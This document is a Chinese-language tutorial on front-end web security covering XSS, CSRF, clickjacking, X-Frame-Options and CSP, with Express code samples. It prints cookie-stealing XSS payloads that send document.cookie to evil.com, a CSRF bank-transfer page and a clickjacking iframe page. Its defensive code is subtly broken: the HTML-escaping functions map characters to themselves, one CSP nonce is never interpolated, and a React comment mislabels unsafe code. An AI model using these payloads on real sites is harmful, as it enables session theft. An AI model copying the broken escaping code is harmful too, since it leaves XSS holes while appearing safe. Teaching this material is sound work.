WEB技术

前端安全攻防体系:XSS/CSRF/注入/同源策略深度解析

一、XSS攻击类型与防御

1.1 XSS攻击概述

跨站脚本攻击(Cross-Site Scripting,XSS)是最常见的前端安全威胁之一。它允许攻击者将恶意脚本注入到可信网站的页面中,当其他用户浏览该页面时,恶意脚本就会在用户的浏览器中执行。XSS攻击可以窃取用户的Cookie、Session Token等敏感信息,甚至劫持用户会话或重定向到恶意网站。

根据攻击脚本的注入和传播方式,XSS攻击主要分为三种类型:反射型XSS存储型XSSDOM型XSS。理解这三种类型的区别和攻击原理,是构建有效防御体系的基础。

// XSS攻击的基本原理

// 假设一个搜索页面,将用户的输入直接渲染到页面上
// 不安全的做法(存在XSS漏洞):
function renderSearchResult(query) {
  // 直接将用户输入插入HTML
  document.getElementById('result').innerHTML = 
    '<h3>搜索结果: ' + query + '</h3>';
}

// 攻击者构造恶意URL:
// https://example.com/search?q=<script>alert('XSS')</script>

// 当用户访问该URL时,页面会渲染:
// <h3>搜索结果: <script>alert('XSS')</script></h3>
// 浏览器将执行 <script> 标签内的代码

// 更危险的攻击(窃取Cookie):
// https://example.com/search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

// XSS漏洞的三大类型概览
/*
反射型XSS (Reflected XSS)
  ┌────────┐    恶意链接      ┌────────┐
  │ 攻击者  │ ──────────────▶ │ 受害者  │
  └────────┘                  └────────┘
                                   │
                                   │ 访问恶意URL
                                   ▼
                              ┌──────────┐
                              │ 目标服务器 │
                              │ (不安全)   │
                              └──────────┘
                                   │
                                   │ 反射恶意脚本
                                   ▼
                              ┌────────┐
                              │ 受害者  │ ← 执行恶意脚本
                              └────────┘

存储型XSS (Stored XSS)
  ┌────────┐    提交恶意内容    ┌────────┐
  │ 攻击者  │ ──────────────▶ │ 数据库  │
  └────────┘                  └────────┘
                                   │
                                   │ 其他用户请求该内容
                                   ▼
                              ┌────────┐
                              │ 受害者  │ ← 执行恶意脚本
                              └────────┘

DOM型XSS (DOM-based XSS)
  客户端JavaScript直接从URL/URLFragment/Referer等
  来源读取数据,未经过滤就写入DOM
*/

1.2 反射型XSS与防御

反射型XSS(Reflected XSS)是最常见的XSS攻击类型。攻击者通过构造带有恶意参数的URL,诱骗用户点击。服务器接收到请求后,会将恶意脚本"反射"到响应页面中。由于攻击脚本需要用户的点击来触发,反射型XSS也被称为"非持久型XSS"。

防御反射型XSS的核心策略是:输入验证输出编码。输入验证确保用户提交的数据符合预期格式,输出编码确保数据在HTML、JavaScript、CSS等不同上下文中被正确转义。此外,设置Cookie的HttpOnly属性可以防止恶意脚本窃取用户会话。

// 反射型XSS攻击示例与防御

// ============ 攻击示例 ============
// 不安全的搜索页面(Node.js Express)
app.get('/search', (req, res) => {
  const query = req.query.q;
  // ❌ 直接将用户输入插入HTML
  res.send(`<h1>搜索结果: ${query}</h1>`);
});

// 攻击URL:
// /search?q=<img src=x onerror="fetch('https://evil.com/steal',{method:'POST',body:document.cookie})">

// ============ 防御措施 ============

// 防御1:HTML实体编码
function escapeHtml(str) {
  const htmlEntities = {
    '&': '&',
    '<': '<',
    '>': '>',
    '"': '"',
    "'": ''',
    '/': '/',
  };
  return str.replace(/[&<>"'\/]/g, char => htmlEntities[char]);
}

// 安全版本
app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q || '');
  res.send(`<h1>搜索结果: ${query}</h1>`);
  // 输出: <h1>搜索结果: &lt;img src=x onerror=...&gt;</h1>
});

// 防御2:使用安全的模板引擎(自动转义)
// Handlebars(默认自动转义HTML)
/*
<h1>搜索结果: \{\{query\}\}</h1>
*/

// 防御3:Cookie设置HttpOnly
app.use((req, res, next) => {
  res.cookie('sessionId', token, {
    httpOnly: true,  // 禁止JS访问Cookie
    secure: true,    // 仅HTTPS传输
    sameSite: 'strict', // 限制跨站请求携带Cookie
  });
  next();
});

// 防御4:输入验证(白名单策略)
function validateSearchQuery(input) {
  // 只允许中文、英文字母、数字和空格
  return input.replace(/[^\u4e00-\u9fa5a-zA-Z0-9\s]/g, '');
}

1.3 存储型XSS与防御

存储型XSS(Stored XSS)是最危险的XSS类型。攻击者的恶意脚本被永久保存在服务器端(如数据库、评论、用户资料等),当其他用户访问相应页面时,恶意脚本自动执行。与反射型XSS不同,存储型XSS不需要诱骗用户点击特定链接,因此危害范围更广。

防御存储型XSS需要全链路防护:在数据入口(表单提交)进行输入验证,在数据存储阶段保持数据原样(不进行转义),在数据输出阶段(渲染到页面)进行上下文感知的编码。关键原则是"存储时不处理,输出时再转义",以确保数据的完整性和安全性。

// 存储型XSS攻击示例与防御

// ============ 攻击示例 ============
// 评论功能(存在储存型XSS漏洞)
app.post('/api/comment', (req, res) => {
  // ❌ 直接存储用户输入
  const comment = {
    content: req.body.content,
    author: req.body.author,
    date: new Date(),
  };
  db.comments.insert(comment); // 直接存入数据库
  res.json({ success: true });
});

// 攻击者提交评论:
// content: <script>
//   var img = new Image();
//   img.src = 'https://evil.com/steal?cookie=' + document.cookie;
// </script>

// 所有查看该页面的用户都会自动执行这段恶意脚本

// ============ 防御措施 ============

// 防御1:输入侧——白名单过滤
// 允许安全的HTML标签(富文本场景)
const allowedTags = ['b', 'i', 'u', 'em', 'strong', 'a', 'p', 'br'];
const allowedAttrs = ['href', 'target', 'rel'];

function sanitizeHTML(input) {
  // 使用DOMPurify(推荐)或自定义过滤
  // npm install dompurify jsdom
  const createDOMPurify = require('dompurify');
  const { JSDOM } = require('jsdom');
  const window = new JSDOM('').window;
  const DOMPurify = createDOMPurify(window);
  
  return DOMPurify.sanitize(input, {
    ALLOWED_TAGS: allowedTags,
    ALLOWED_ATTR: allowedAttrs,
    ALLOW_DATA_ATTR: false,
  });
}

// 防御2:输出侧——上下文感知编码
// 前端渲染时使用安全的框架(React、Vue等)
// React默认对所有输出进行HTML编码
/*
function Comment({ content }) {
  // ❌ React会自动转义 content
  return <div dangerouslySetInnerHTML=\{\{ __html: content \}\} />;
  
  // ✅ 推荐:使用安全渲染
  return <div>{content}</div>;
}
*/

// 防御3:后端输出编码(不依赖前端)
app.get('/comments', async (req, res) => {
  const comments = await db.comments.find();
  
  // 对输出进行编码
  const safeComments = comments.map(c => ({
    ...c,
    content: escapeHtml(c.content),
  }));
  
  res.json(safeComments);
});

// 防御4:使用模板引擎自动转义
// EJS (默认转义)
// <%= content %>  → 转义输出
// <%- content %>  → 原始输出(危险,避免使用)

1.4 DOM型XSS与防御

DOM型XSS(DOM-based XSS)是一种纯客户端攻击,服务端响应页面本身没有问题。攻击脚本通过客户端JavaScript从URL参数、URL片段(hash)、document.referrer、window.name、localStorage等客户端源读取恶意数据,并将这些数据写入DOM。由于攻击完全发生在客户端,服务端无法通过常规的输入过滤来防御。

防御DOM型XSS的关键是避免直接操作DOM,或者在使用前对数据源进行严格验证。推荐使用现代框架(React、Vue等)的声明式渲染,因为这些框架默认会对输出进行编码。对于必须手动操作DOM的场景,使用textContent而非innerHTML,或者使用安全的DOM API。

// DOM型XSS攻击示例与防御

// ============ 攻击示例 ============
// 从URL hash中读取数据并插入DOM
// 页面URL: https://example.com/#/profile/<script>alert(1)</script>

// ❌ 危险代码
function renderProfile() {
  const hash = window.location.hash;
  // hash = "#/profile/"
  document.getElementById('content').innerHTML = hash;
}

// 更隐蔽的攻击方式
// URL: https://example.com/#/profile
//         ?callback=javascript:alert(document.cookie)

// ❌ 危险代码
function getCallback() {
  const match = window.location.search.match(/callback=(.*?)(&|$)/);
  if (match) {
    // 直接eval用户输入
    eval(match[1]); // ❌ 极度危险
  }
}

// ============ 防御措施 ============

// 防御1:使用安全的DOM API
// ❌ innerHTML(危险)
element.innerHTML = userInput;

// ✅ textContent(安全)
element.textContent = userInput;

// ✅ 创建元素(安全)
const span = document.createElement('span');
span.textContent = userInput;
document.getElementById('content').appendChild(span);

// 防御2:避免使用 eval 和 new Function
// ❌ eval(), new Function(), setTimeout(string)
eval("alert('hello')");       // 危险
new Function("return " + data); // 危险
setTimeout("alert('hello')", 1000); // 危险

// 防御3:使用浏览器的 Safe Assignment API
// Element.setHTML()(实验性,更安全)
// 使用DOMPurify + innerHTML组合
function setSafeHTML(element, html) {
  const clean = DOMPurify.sanitize(html);
  element.innerHTML = clean;
}

// 防御4:URL参数验证
function getUrlParam(name) {
  const params = new URLSearchParams(window.location.search);
  const value = params.get(name);
  
  if (!value || !isValidRedirect(value)) {
    return '';
  }
  
  return value;
}

function isValidRedirect(url) {
  try {
    const parsed = new URL(url, window.location.origin);
    // 只允许同源URL
    return parsed.origin === window.location.origin;
  } catch {
    return false;
  }
}

// 防御5:编码URL参数
function encodeRedirectParam(url) {
  return encodeURIComponent(url)
    .replace(/%3A/gi, ':')
    .replace(/%2F/gi, '/');
}

1.5 XSS防御的最佳实践框架

构建完整XSS防御体系需要在输入存储输出三个层面同时部署防护措施。输入层面进行验证和过滤,存储层面保持数据完整性,输出层面根据上下文进行编码。以下是一个完整的XSS防御框架实现。

除了上述技术措施,还需要建立安全编码规范安全审查流程。使用自动化工具(如ESLint安全插件、SonarQube)在CI/CD流水线中检测潜在漏洞,定期进行安全审计和渗透测试。

// 完整XSS防御框架

class XSSDefender {
  constructor() {
    this.encoder = {
      // HTML编码
      html: (str) => {
        return str
          .replace(/&/g, '&')
          .replace(/</g, '<')
          .replace(/>/g, '>')
          .replace(/"/g, '"')
          .replace(/'/g, ''');
      },
      // URL编码
      url: (str) => encodeURIComponent(str),
      // CSS编码
      css: (str) => {
        return str.replace(/[^a-zA-Z0-9]/g, (char) => {
          return '\\' + char.charCodeAt(0).toString(16).padStart(6, '0');
        });
      },
      // JavaScript字符串编码
      js: (str) => {
        return str
          .replace(/\\/g, '\\\\')
          .replace(/"/g, '\\"')
          .replace(/'/g, "\\'")
          .replace(/\n/g, '\\n')
          .replace(/\r/g, '\\r')
          .replace(/\t/g, '\\t');
      },
    };
  }

  // 根据上下文自动选择编码方式
  encode(data, context) {
    if (!data) return '';
    
    switch (context) {
      case 'html-content':   // HTML元素内容
      case 'html-attribute': // HTML属性值
        return this.encoder.html(data);
      case 'url':            // URL参数
        return this.encoder.url(data);
      case 'js-string':      // JavaScript字符串
        return this.encoder.js(data);
      case 'css-value':      // CSS值
        return this.encoder.css(data);
      default:
        return data;
    }
  }

  // 安全的HTML渲染(允许部分安全标签)
  sanitizeHTML(html, options = {}) {
    const DOMPurify = require('dompurify');
    // 使用JSDOM创建window对象
    const { JSDOM } = require('jsdom');
    const window = new JSDOM('').window;
    const purify = DOMPurify(window);
    
    return purify.sanitize(html, {
      ALLOWED_TAGS: options.allowedTags || [
        'a', 'b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li',
        'blockquote', 'code', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      ],
      ALLOWED_ATTR: options.allowedAttrs || [
        'href', 'target', 'rel', 'class', 'id',
      ],
      ALLOW_DATA_ATTR: false,
      STRICT_PROCESSING: true,
      ADD_ATTR: ['target'], // 默认给所有链接添加target
      FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed'],
      FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
    });
  }

  // 安全设置Cookie
  secureCookie(name, value, options = {}) {
    return {
      name,
      value,
      options: {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        path: '/',
        ...options,
      },
    };
  }
}

// 使用示例
const defender = new XSSDefender();

// 编码用户输入
const userComment = '<script>alert("xss")</script>';
console.log(defender.encode(userComment, 'html-content'));
// 输出: &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;

// 安全渲染富文本
const userHTML = '<p>Hello <script>alert(1)</script></p>';
console.log(defender.sanitizeHTML(userHTML));
// 输出: <p>Hello </p>

二、CSRF攻击原理与Token防护

2.1 CSRF攻击原理

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种利用用户已登录的身份,在用户不知情的情况下以用户名义发送恶意请求的攻击方式。攻击者通过构造恶意页面,诱导用户访问,当用户访问时该页面会自动发起对目标网站的请求(如图片、表单提交等),由于浏览器会自动携带该网站的Cookie,请求看起来是合法的。

CSRF攻击成立的核心条件是:Cookie自动携带(浏览器会自动将目标域名的Cookie附加到请求中)和无法验证请求来源(服务端无法区分请求是用户主动发起的还是攻击者伪造的)。防御CSRF的核心思路就是破坏这两个条件。

// CSRF攻击原理详解

// ============ CSRF攻击流程 ============
/*
场景:银行的转账接口

1. 用户登录银行网站 bank.com,获得有效Session Cookie
2. 用户没有登出,继续访问其他网站
3. 攻击者构造恶意页面 evil.com
4. 用户访问 evil.com,页面自动发起对 bank.com 的请求
5. 用户的Cookie自动附加到请求中
6. bank.com 认为请求来自已登录的用户,执行转账操作
*/

// ============ 攻击代码示例 ============
// 攻击者的恶意页面 evil.com/index.html
/*
<!DOCTYPE html>
<html>
<body>
  <h1>领取优惠券</h1>
  <!-- 用户看不见的图片标签 -->
  <img src="https://bank.com/api/transfer?to=attacker&amount=10000" 
       style="display:none" />
  
  <!-- 或者用自动提交的表单 -->
  <form id="steal" action="https://bank.com/api/transfer" method="POST">
    <input type="hidden" name="to" value="attacker" />
    <input type="hidden" name="amount" value="10000" />
  </form>
  <script>document.getElementById('steal').submit();</script>
</body>
</html>
*/

// ============ CSRF攻击成功条件 ============
const csrfConditions = {
  '1. HTTP仅使用Cookie鉴权': true,    // ❌ 如果API使用Token+不依赖Cookie,则不受影响
  '2. 请求不需要自定义Header': true,    // ❌ 如果要求X-CSRF-Token,则攻击失败
  '3. 同源策略不阻止请求发送': true,    // ✅ 同源策略阻止读取响应,但不阻止发送请求
  '4. 服务端没有Referer验证': true,     // ❌ 如果检查Referer,可以拦截跨站请求
  '5. Cookie没有SameSite属性': true,    // ❌ SameSite属性可以防止跨站Cookie发送
};

console.log('CSRF攻击风险评分:', 
  Object.values(csrfConditions).filter(Boolean).length, '/ 5');

2.2 CSRF Token防护机制

CSRF Token是最广泛使用的CSRF防御手段。其核心思想是:在服务端生成一个随机的、不可预测的Token,嵌入到表单或请求头中。当用户提交请求时,服务端验证Token的合法性。由于攻击者的页面无法获取到这个Token(受同源策略限制),因此伪造的请求将无法通过验证。

CSRF Token的生成和验证需要在服务端完成。Token应该是加密安全的随机数,具有足够的熵(至少128位),并且与用户会话绑定。Token可以存储在Session中,也可以通过加密算法生成的Token(不需要服务端存储,但需要解密验证)。

// CSRF Token 完整实现

// ============ 服务端:生成Token ============
const crypto = require('crypto');

class CSRFTokenManager {
  constructor(secret) {
    this.secret = secret || crypto.randomBytes(32).toString('hex');
    this.tokenExpiry = 3600000; // 1小时过期
  }

  // 生成Token(基于Session的HMAC方案)
  generateToken(sessionId) {
    const timestamp = Date.now().toString();
    const payload = `${sessionId}.${timestamp}`;
    
    // 使用HMAC-SHA256签名
    const hmac = crypto.createHmac('sha256', this.secret);
    hmac.update(payload);
    const signature = hmac.digest('hex');
    
    // Token格式: sessionId.timestamp.signature
    return Buffer.from(`${payload}.${signature}`).toString('base64');
  }

  // 验证Token
  validateToken(token, sessionId) {
    try {
      const decoded = Buffer.from(token, 'base64').toString('utf8');
      const parts = decoded.split('.');
      
      if (parts.length !== 3) return false;
      
      const [tokenSessionId, timestamp, signature] = parts;
      
      // 验证Session匹配
      if (tokenSessionId !== sessionId) return false;
      
      // 验证过期时间
      const age = Date.now() - parseInt(timestamp);
      if (age > this.tokenExpiry) return false;
      
      // 验证签名
      const hmac = crypto.createHmac('sha256', this.secret);
      hmac.update(`${tokenSessionId}.${timestamp}`);
      const expectedSig = hmac.digest('hex');
      
      // 使用常量时间比较防止时序攻击
      if (signature.length !== expectedSig.length) return false;
      
      return crypto.timingSafeEqual(
        Buffer.from(signature),
        Buffer.from(expectedSig)
      );
    } catch {
      return false;
    }
  }
}

// ============ 服务端:中间件集成 ============
const express = require('express');
const app = express();
const csrfManager = new CSRFTokenManager();

// 生成CSRF Token并注入到响应中
app.use((req, res, next) => {
  if (req.session) {
    // 为当前会话生成Token
    const token = csrfManager.generateToken(req.session.id);
    res.locals.csrfToken = token;
    
    // 设置CSRF Token Cookie(前端读取用)
    res.cookie('csrf-token', token, {
      httpOnly: false, // 前端需要读取
      secure: true,
      sameSite: 'strict',
    });
  }
  next();
});

// CSRF验证中间件
function csrfProtection(req, res, next) {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const token = req.headers['x-csrf-token'] || req.body._csrfToken;
    
    if (!token || !csrfManager.validateToken(token, req.session.id)) {
      return res.status(403).json({
        error: 'CSRF验证失败',
        message: '请求被拦截,可能存在CSRF攻击',
      });
    }
  }
  next();
}

app.use(csrfProtection);

// ============ 前端:自动注入Token ============
// 使用fetch API自动添加CSRF Token
function createSecureFetcher() {
  // 从Cookie中读取CSRF Token
  function getCookieValue(name) {
    const match = document.cookie.match(new RegExp(`(^| )${name}=([^;]+)`));
    return match ? decodeURIComponent(match[2]) : null;
  }
  
  return {
    async request(url, options = {}) {
      const csrfToken = getCookieValue('csrf-token');
      
      const headers = {
        ...options.headers,
        'X-CSRF-Token': csrfToken || '',
      };
      
      const response = await fetch(url, {
        ...options,
        headers,
        credentials: 'include', // 携带Cookie
      });
      
      return response;
    },
    
    get(url, options) {
      return this.request(url, { ...options, method: 'GET' });
    },
    
    post(url, data, options) {
      return this.request(url, {
        ...options,
        method: 'POST',
        headers: { 'Content-Type': 'application/json', ...options.headers },
        body: JSON.stringify(data),
      });
    },
  };
}

2.3 SameSite Cookie属性

SameSite是Cookie的一个安全属性,用于控制Cookie在跨站请求中的发送行为。这是现代浏览器对CSRF攻击的原生防御机制。SameSite有三种取值:Strict(最安全,但可能影响用户体验)、Lax(默认值,平衡安全与体验)和None(不安全,但必须配合Secure属性)。

SameSite=Lax模式下,Cookie只会在顶级导航(如点击链接)时发送,而不会在嵌入请求(如图片、iframe、AJAX请求)中发送。这可以防御大部分CSRF攻击。但对于一些需要跨站点访问的场景(如支付回调),可能需要设置为None。

// SameSite Cookie 详解

// ============ SameSite三种模式 ============
/*
SameSite=Strict
  - 最安全
  - Cookie只在同站请求中发送
  - 即使从链接访问也不会发送
  - 场景:银行、支付等敏感操作

SameSite=Lax(Chrome 80+ 默认值)
  - 平衡安全与体验
  - Cookie在顶级导航(链接、GET表单)时发送
  - 不发送到嵌入请求(图片、iframe、XHR)
  - 适用于大多数Web应用

SameSite=None
  - 允许跨站发送Cookie
  - 必须同时设置 Secure(仅HTTPS)
  - 场景:嵌入式工具、CDN资源、第三方认证
*/

// ============ 实际配置示例 ============
const express = require('express');
const app = express();

// 通用安全Cookie配置
app.use((req, res, next) => {
  // 修改express默认的cookie-session配置
  const originalCookie = res.cookie.bind(res);
  
  res.cookie = function(name, value, options = {}) {
    // 默认安全配置
    const secureOptions = {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'lax', // 默认Lax模式
      path: '/',
      maxAge: 86400000, // 24小时
      ...options,
    };
    
    return originalCookie(name, value, secureOptions);
  };
  
  next();
});

// 不同场景的Cookie配置
const cookieConfigs = {
  // 登录Session(使用Lax,平衡安全与体验)
  sessionCookie: {
    name: 'session_id',
    options: {
      httpOnly: true,
      secure: true,
      sameSite: 'lax',
      maxAge: 7 * 24 * 3600 * 1000, // 7天
    },
  },
  
  // CSRF Token(需要前端读取,不能httpOnly)
  csrfCookie: {
    name: 'csrf_token',
    options: {
      httpOnly: false,
      secure: true,
      sameSite: 'strict',
    },
  },
  
  // 跨站支付回调(必须在第三方上下文中工作)
  paymentCookie: {
    name: 'payment_session',
    options: {
      httpOnly: true,
      secure: true,
      sameSite: 'none', // 允许跨站
    },
  },
};

// ============ 浏览器兼容性处理 ============
// 检测浏览器是否支持SameSite
function supportsSameSite() {
  return navigator.cookieEnabled && 
    typeof document.cookie === 'string';
}

// 优雅降级:不支持SameSite的浏览器使用其他防护
function getFallbackProtection() {
  const userAgent = navigator.userAgent;
  
  // 旧版Safari (macOS 10.14及以下) 不支持SameSite
  if (/OS X 10_14|OS X 10_13/.test(userAgent)) {
    return 'csrf-token'; // 使用CSRF Token方案
  }
  
  // 旧版Chrome (< 67) 不支持SameSite
  if (/Chrome\/[0-6][0-6]/.test(userAgent)) {
    return 'double-submit-cookie'; // 使用双重Cookie方案
  }
  
  return 'same-site'; // 正常使用SameSite
}

三、点击劫持与X-Frame-Options

3.1 点击劫持原理

点击劫持(Clickjacking)是一种视觉欺骗攻击。攻击者将目标网站通过透明iframe嵌入到恶意页面中,然后在iframe上方放置一些诱人的按钮或链接。用户看到的表面内容是攻击者设计的诱饵(如"点击领取优惠券"),但实际点击的是隐藏在透明iframe中的目标网站元素(如"确认转账"按钮)。用户无意识中执行了攻击者期望的操作。

点击劫持利用了HTML的透明度z-index特性,以及iframe的跨域加载能力。防御点击劫持的核心是禁止页面在iframe中加载,或者通过JavaScript帧破出(Frame Busting)技术来检测和阻止。

// 点击劫持攻击示例与防御

// ============ 攻击代码示例 ============
/*
攻击者页面 evil.com/clickjack.html:

<!DOCTYPE html>
<html>
<head>
  <style>
    iframe {
      position: absolute;
      top: 0;
      left: 0;
      width: 500px;
      height: 500px;
      opacity: 0.001;  /* 几乎透明的iframe */
      z-index: 10;
    }
    
    .trap {
      position: absolute;
      top: 200px;
      left: 100px;
      z-index: 1;
    }
    
    .attractive-button {
      font-size: 24px;
      padding: 20px 40px;
      background: gold;
      cursor: pointer;
    }
  </style>
</head>
<body>
  <!-- 诱饵按钮 -->
  <div class="trap">
    <button class="attractive-button">
      🎁 点击领取100元优惠券
    </button>
  </div>
  
  <!-- 透明的目标网站iframe -->
  <iframe src="https://bank.com/transfer"></iframe>
</body>
</html>
*/

// ============ 传统JS帧破出(Frame Busting)============
// 在目标网站的页面中添加
if (top !== self) {
  // 如果页面被嵌入iframe,跳出
  top.location = self.location;
} else {
  // 正常加载
}

// 但这种方案可以被绕过
// 攻击者的对抗方案:
/*
// 利用沙盒属性阻止帧破出
<iframe src="https://bank.com/transfer" 
        sandbox="allow-forms allow-scripts"></iframe>

// sandbox属性会移除:
// - allow-top-navigation(阻止修改top.location)
// - allow-same-origin(阻止访问parent/self等)
*/

3.2 X-Frame-Options响应头

X-Frame-Options是服务端通过HTTP响应头来控制页面是否允许被嵌入到iframe中的安全策略。它有三种取值:DENY(完全禁止嵌入任何frame)、SAMEORIGIN(仅允许同源页面嵌入)和ALLOW-FROM uri(允许指定来源嵌入,但支持有限)。这是防御点击劫持最可靠的方式。

建议对所有包含交互操作(如表单、支付、敏感信息展示)的页面设置X-Frame-Options为DENY或SAMEORIGIN。对于需要被第三方嵌入的页面(如第三方登录回调页面),可以使用Content Security Policy的frame-ancestors指令作为更现代的替代方案。

// X-Frame-Options 配置方案

// ============ 服务端配置 ============
const express = require('express');
const app = express();

// 全局配置(所有页面禁止iframe)
app.use((req, res, next) => {
  // 现代方式:使用CSP
  res.setHeader(
    'Content-Security-Policy',
    "frame-ancestors 'none';" // 禁止所有iframe嵌入
  );
  
  // 兼容方式:使用X-Frame-Options
  res.setHeader('X-Frame-Options', 'DENY');
  
  next();
});

// 按需要配置
function configureFrameProtection(app) {
  // 敏感页面(交易、支付、管理后台)
  const sensitivePaths = [
    '/api/transfer',
    '/api/payment',
    '/admin',
    '/account/delete',
  ];
  
  app.use(sensitivePaths, (req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader(
      'Content-Security-Policy',
      "frame-ancestors 'none'"
    );
    next();
  });
  
  // 需要被同源页面嵌入的页面
  app.use('/embed', (req, res, next) => {
    res.setHeader('X-Frame-Options', 'SAMEORIGIN');
    res.setHeader(
      'Content-Security-Policy',
      "frame-ancestors 'self'"
    );
    next();
  });
  
  // 允许特定第三方嵌入(如支付回调)
  app.use('/payment', (req, res, next) => {
    if (process.env.NODE_ENV === 'production') {
      res.setHeader('X-Frame-Options', 'DENY');
    } else {
      // 开发环境使用CSP允许特定域名
      res.setHeader(
        'Content-Security-Policy',
        "frame-ancestors https://trusted-payment.com"
      );
    }
    next();
  });
}

// ============ Nginx配置 ============
/*
# nginx.conf
server {
    # 全局禁止iframe
    add_header X-Frame-Options "DENY" always;
    add_header Content-Security-Policy "frame-ancestors 'none'" always;
    
    # 特定路径允许同源
    location /embed/ {
        add_header X-Frame-Options "SAMEORIGIN";
        add_header Content-Security-Policy "frame-ancestors 'self'";
    }
    
    # 支付回调路径
    location /payment/ {
        add_header X-Frame-Options "SAMEORIGIN";
    }
}
*/

// ============ Apache配置 ============
/*
# .htaccess
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'none'"
*/

// ============ 配置对比表 ============
/*
X-Frame-Options 取值对比:

DENY          → 完全禁止,最安全
SAMEORIGIN    → 允许同源嵌入
ALLOW-FROM    → 已废弃,CSP替代

CSP frame-ancestors 取值对比:
'none'        → 完全禁止
'self'        → 允许同源
      → 允许指定域名
*     → 允许多个域名
*/

四、CSP内容安全策略配置

4.1 CSP工作原理

内容安全策略(Content Security Policy,CSP)是浏览器提供的一层额外安全防护机制,用于检测和缓解各种类型的攻击,包括XSS、数据注入和点击劫持等。CSP通过HTTP响应头中的Content-Security-Policy字段来告诉浏览器哪些资源可以被加载和执行,从而有效限制攻击者的注入行为。

CSP的核心思想是白名单策略:只允许从声明为安全的来源加载资源,其他所有来源的资源都会被浏览器拦截。CSP可以控制脚本、样式、图片、字体、连接、媒体、框架等各类资源的加载行为。

// CSP配置详解

// ============ CSP指令大全 ============
/*
脚本控制:
  script-src         → 允许加载的脚本来源
  script-src-elem    → 允许加载的脚本元素来源(HTML)
  script-src-attr    → 允许执行的内联事件处理程序
  
样式控制:
  style-src          → 允许加载的样式表来源
  style-src-elem     → 允许的样式元素来源
  
其他资源:
  img-src            → 允许加载的图片来源
  font-src           → 允许加载的字体来源
  connect-src        → 允许的API连接来源(fetch、XHR)
  media-src          → 允许的媒体文件来源
  frame-src          → 允许嵌入的frame来源
  frame-ancestors    → 允许嵌入当前页面的frame来源
  object-src         → 允许加载的插件来源(已弃用)
  prefetch-src       → 允许预读取的来源
  
文档控制:
  base-uri           → 允许的<base>标签来源
  form-action        → 允许的<form>提交目标
  manifest-src       → 允许的Web Manifest来源
  
获取报告:
  report-uri         → 违规报告接收地址(已弃用)
  report-to          → 违规报告接收组(新标准)
  
其他:
  upgrade-insecure-requests → 自动升级HTTP为HTTPS
  block-all-mixed-content  → 阻止混合内容
*/

// ============ 严格CSP配置 ============
// 最安全的配置:禁止所有外部资源
const strictCSP = [
  "default-src 'none'",       // 默认禁止所有资源
  "script-src 'self'",        // 只允许同源脚本
  "style-src 'self'",         // 只允许同源样式
  "img-src 'self' data:",     // 允许同源图片和base64
  "font-src 'self'",          // 只允许同源字体
  "connect-src 'self'",       // 只允许同源AJAX
  "frame-ancestors 'none'",   // 禁止iframe嵌入
  "base-uri 'self'",          // 只允许同源base标签
  "form-action 'self'",       // 只允许同源表单提交
].join('; ');

// ============ 宽松CSP配置(适合CDN、第三方库)============
const relaxedCSP = [
  "default-src 'self'",
  "script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net",
  "style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net",
  "img-src 'self' data: https://*.cloudfront.net https://img-blog.csdn.net",
  "font-src 'self' data: https://fonts.googleapis.com",
  "connect-src 'self' https://api.example.com wss://ws.example.com",
  "frame-src 'self' https://trusted-widget.com",
  "form-action 'self' https://payment-gateway.com",
  "base-uri 'self'",
  "upgrade-insecure-requests",
].join('; ');

4.2 CSP实战配置策略

CSP配置需要在安全性可用性之间找到平衡。过于严格的配置会破坏网站的正常功能(如内联脚本、CDN资源加载等),而过于宽松的配置则失去了防护意义。推荐的策略是"从严格开始,逐步放宽":先使用report-only模式(Content-Security-Policy-Report-Only)收集违规报告,根据实际需要调整策略,然后再启用拦截模式。

对于需要加载动态脚本的场景(如代码编辑器、BI看板等),可以使用nonce值(一次性随机数)或hash值来允许特定的内联脚本执行,而不是直接使用unsafe-inline。

// CSP高级配置技巧

// ============ Nonce机制(推荐)============
// 允许特定内联脚本执行,而非全部

// 服务端生成nonce
const crypto = require('crypto');

app.use((req, res, next) => {
  // 为每个请求生成唯一nonce
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  
  // 设置CSP头
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    `script-src 'self' 'nonce-${nonce}'`,
    "style-src 'self' 'nonce-${nonce}'",
  ].join('; '));
  
  next();
});

// 前端使用nonce
/*
<script nonce=\"\">
  // 这个脚本会被允许执行
  initApp();
</script>

<script>
  // 这个脚本会被阻止(没有nonce)
  alert('blocked');
</script>
*/

// ============ Hash机制 =============
// 为固定内容的内联脚本生成hash

function generateScriptHash(scriptContent) {
  const crypto = require('crypto');
  const hash = crypto
    .createHash('sha256')
    .update(scriptContent)
    .digest('base64');
  
  return `'sha256-${hash}'`;
}

// 预计算hash并配置
const inlineScript = 'console.log("hello")';
const scriptHash = generateScriptHash(inlineScript);
console.log(scriptHash);
// 输出: 'sha256-xxxxxxxxx...'

// 配置CSP
res.setHeader('Content-Security-Policy', [
  `script-src 'self' ${scriptHash}`,
].join('; '));

// ============ Report-Only模式(推荐上线前使用)============
// 只收集违规报告,不阻止资源加载
res.setHeader(
  'Content-Security-Policy-Report-Only',
  [
    "default-src 'self'",
    "script-src 'self' 'unsafe-inline'",
    "report-uri /csp-violation-report",
  ].join('; ')
);

// 接收违规报告
app.post('/csp-violation-report', (req, res) => {
  const report = req.body;
  console.log('CSP违规报告:', {
    '违规指令': report['violated-directive'],
    '禁止的资源': report['blocked-uri'],
    '来源页面': report['document-uri'],
    '来源脚本': report['script-sample'],
    '时间': new Date().toISOString(),
  });
  
  // 可以记录到日志或监控系统
  logSecurityEvent('csp-violation', report);
  
  res.status(204).end();
});

